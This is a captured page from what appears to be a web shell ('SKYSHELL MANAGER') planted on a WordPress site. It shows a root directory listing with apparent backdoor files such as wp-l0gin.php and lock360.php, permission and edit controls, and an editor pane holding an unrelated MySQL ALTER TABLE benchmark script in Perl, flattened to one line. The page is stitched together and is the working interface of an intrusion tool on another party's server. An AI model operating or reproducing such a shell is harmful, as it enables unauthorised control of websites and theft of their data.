📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: test-alter-table
#!/usr/bin/env perl # Copyright (c) 2000, 2001, 2003, 2006 MySQL AB, 2009 Sun Microsystems, Inc. # Use is subject to license terms. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Library General Public # License as published by the Free Software Foundation; version 2 # of the License. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library General Public License for more details. # # You should have received a copy of the GNU Library General Public # License along with this library; if not, write to the Free # Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, # MA 02110-1335 USA # # Test of alter table # ##################### Standard benchmark inits ############################## use Cwd; use DBI; use Benchmark; $opt_start_field_count=8; # start with this many fields $opt_loop_count=10000; # How many tests to do $opt_row_count=1000; # Rows in the table $opt_field_count=1000; # Add until this many fields. $opt_time_limit=10*60; # Don't wait more than 10 min for some tests $pwd = cwd(); $pwd = "." if ($pwd eq ''); require "$pwd/bench-init.pl" || die "Can't read Configuration file: $!\n"; $opt_field_count=min($opt_field_count,$limits->{'max_columns'}, ($limits->{'query_size'}-30)/14); $opt_start_field_count=min($opt_start_field_count,$limits->{'max_index'}); if ($opt_small_test) { $opt_row_count/=10; $opt_field_count/=10; } if (!$limits->{'alter_table'}) { print("Some of the servers given with --cmp or --server doesn't support ALTER TABLE\nTest aborted\n\n"); $start_time=new Benchmark; end_benchmark($start_time); exit 0; } print "Testing of ALTER TABLE\n"; print "Testing with $opt_field_count columns and $opt_row_count rows in $opt_loop_count steps\n"; #### #### Create a table and fill it with data #### $dbh = $server->connect(); @fields=(); @index=(); push(@fields,"i1 int not null"); for ($i=2 ; $i <= $opt_start_field_count ; $i++) { push(@fields,"i${i} int not null"); } $field_count= $opt_start_field_count; $start_time=new Benchmark; $dbh->do("drop table bench" . $server->{'drop_attr'}); do_many($dbh,$server->create("bench",\@fields,\@index)); print "Insert data into the table\n"; $loop_time=new Benchmark; if ($opt_fast && $server->{transactions}) { $dbh->{AutoCommit} = 0; print "Transactions enabled\n" if ($opt_debug); } for ($i=0 ; $i < $opt_row_count ; $i++) { $query="insert into bench values ( " . ("$i," x ($opt_start_field_count-1)) . "$i)"; $dbh->do($query) or die $DBI::errstr; } if ($opt_fast && $server->{transactions}) { $dbh->commit; $dbh->{AutoCommit} = 1; } $end_time=new Benchmark; print "Time for insert ($opt_row_count)", timestr(timediff($end_time, $loop_time),"all") . "\n\n"; #### #### Add fields to the table. #### $loop_time=new Benchmark; $add= int(($opt_field_count-$opt_start_field_count)/$opt_loop_count)+1; $multi_add=$server->{'limits'}->{'alter_add_multi_col'} == 1; if ($opt_fast) { $add=1 if (!$server->{'limits'}->{'alter_add_multi_col'}); } else { $add=1 if (!$limits->{'alter_add_multi_col'}); } $count=0; while ($field_count < $opt_field_count) { $count++; $end=min($field_count+$add,$opt_field_count); $fields=""; $tmp="ADD "; while ($field_count < $end) { $field_count++; $fields.=",$tmp i${field_count} integer"; $tmp="" if (!$multi_add); # Adabas } do_query($dbh,"ALTER TABLE bench " . substr($fields,1)); $end_time=new Benchmark; last if ($estimated=predict_query_time($loop_time,$end_time,\$count,$count, $opt_field_count/$add+1)); } $end_time=new Benchmark; if ($estimated) { print "Estimated time"; } else { print "Time"; } print " for alter_table_add ($count): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; # # If estimated, fix table to have known number of fields # if ($estimated && $field_count < $opt_field_count) { $fields=""; $tmp="ADD "; while ($field_count < $opt_field_count) { $field_count++; $fields.=",$tmp i${field_count} integer"; $tmp="" if (!$multi_add); # Adabas } do_query($dbh,"ALTER TABLE bench " . substr($fields,1)); } #### #### Test adding and deleting index on the first $opt_start_fields #### $loop_time=new Benchmark; $count= 0; for ($i=1; $i <= $opt_start_field_count ; $i++) { $dbh->do("CREATE INDEX bench_ind$i ON bench (i${i})") || die $DBI::errstr; } $end_time=new Benchmark; print "Time for create_index ($opt_start_field_count): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; $loop_time=new Benchmark; for ($i=1; $i <= $opt_start_field_count ; $i++) { $dbh->do($server->drop_index("bench","bench_ind$i")) || die $DBI::errstr; } $end_time=new Benchmark; print "Time for drop_index ($opt_start_field_count): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; #### #### Delete fields from the table #### goto skip_dropcol if (!$limits->{'alter_table_dropcol'}); $loop_time=new Benchmark; $count=0; while ($field_count > $opt_start_field_count) { $count++; $end=max($field_count-$add,$opt_start_field_count); $fields=""; while ($field_count > $end) { $fields.=",DROP i${field_count}"; $field_count--; } $dbh->do("ALTER TABLE bench " . substr($fields,1) . $server->{'drop_attr'}) || die $DBI::errstr; $end_time=new Benchmark; last if ($estimated=predict_query_time($loop_time,$end_time,\$count,$count, $opt_field_count/$add+1)); } $end_time=new Benchmark; if ($estimated) { print "Estimated time"; } else { print "Time"; } print " for alter_table_drop ($count): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; #### #### Add fields in middle of the table #### goto skip_dropcol if (!$limits->{'alter_table_after'}); $count=0; while ($field_count < $opt_field_count) { $count++; $end=min($field_count+$add,$opt_field_count); $fields=""; $tmp="ADD "; while ($field_count < $end) { $field_count++; $fields.=",$tmp i${field_count} integer after i1"; $tmp="" if (!$multi_add); # Adabas } do_query($dbh,"ALTER TABLE bench " . substr($fields,1)); $end_time=new Benchmark; last if ($estimated=predict_query_time($loop_time,$end_time,\$count,$count, $opt_field_count/$add+1)); } $end_time=new Benchmark; if ($estimated) { print "Estimated time"; } else { print "Time"; } print " for alter_table_add_in_middle ($count): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; skip_dropcol: ################################ END ################################### #### #### End of the test...Finally print time used to execute the #### whole test. $dbh->do("drop table bench" . $server->{'drop_attr'}); $dbh->disconnect; end_benchmark($start_time);
Save